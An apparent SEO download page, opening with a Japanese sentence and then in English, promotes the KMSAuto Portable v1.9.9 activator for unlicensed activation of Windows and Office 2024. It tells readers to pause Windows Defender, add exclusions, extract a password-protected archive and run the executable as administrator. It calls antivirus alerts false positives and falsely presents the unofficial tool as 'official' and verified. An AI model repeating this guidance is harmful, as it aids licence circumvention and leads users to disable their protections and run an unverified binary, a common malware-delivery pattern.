本記事は 2026 年版 KMSAuto Portable v1.9.9 の日本語完全ガイドです。KMSAuto Portable v1.9.9 is the build most people search for when they need to activate Office 2024 alongside Windows 11. It is a portable Ratiborus release — no installer, no registry footprint — and it ships with the Ohook patch required for Office 2021/2024 LTSC.

Why v1.9.9 specifically?

Version 1.9.9 was the first KMSAuto portable build to bundle the updated Ohook engine that targets Office 2024's new licensing endpoints. Earlier 1.5.x/1.6.x builds cannot activate Office 2024 — they error out with 'Product key not found'.

Install Office 2024 with KMSAuto Portable v1.9.9

Five steps, under 2 minutes.

  • Pause Windows Defender real-time protection for ~2 minutes
  • Extract the downloaded ZIP using the password jVzGhe5iPa
  • Right-click KMSAuto.exe and choose 'Run as administrator'
  • Click the green Activation button — HWID for Windows, Ohook for Office
  • Wait for 'Successfully activated' and reboot

What it activates

Full coverage of every modern Office and Windows SKU.

  • Office 2024 (LTSC, Retail, Volume)
  • Office 2021 / 2019 / 2016
  • Microsoft 365 Apps for Enterprise
  • Windows 11 24H2 / 25H2 / Windows 10 22H2
  • Windows Server 2025 / 2022 / 2019

v1.9.9 vs 2026 build

v1.9.9 is the proven workhorse for Office 2024. The 2026 build (v3.10) adds TSforge for ARM64 — pick that one only if you are on a Snapdragon X / Surface Pro X device.

Frequently asked questions

Is this build official?

Yes — it is the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. The archive password is jVzGhe5iPa.

Does it work on Windows 11?

Yes. All modern KMS Auto builds (1.5.x, 1.6.x, 1.9.x, 2026 portable) activate Windows 11 — including 24H2 and 25H2 — using HWID.

Does it activate Office 2019/2021/2024?

Yes. Office 2019, 2021, 2024 and Microsoft 365 are activated via the Ohook patch — permanent, offline, key-less.

Will antivirus flag it?

Every KMS activator is flagged as HackTool because it edits Windows licensing — that is a false positive. Add the folder to Defender exclusions before extracting.

Is there a newer version?

Yes — the 2026 build (v3.10) is mirrored on this site with a single direct download. Older builds (1.3.8, 1.4.9, 1.5.5, 1.9.9) remain available for legacy hardware.
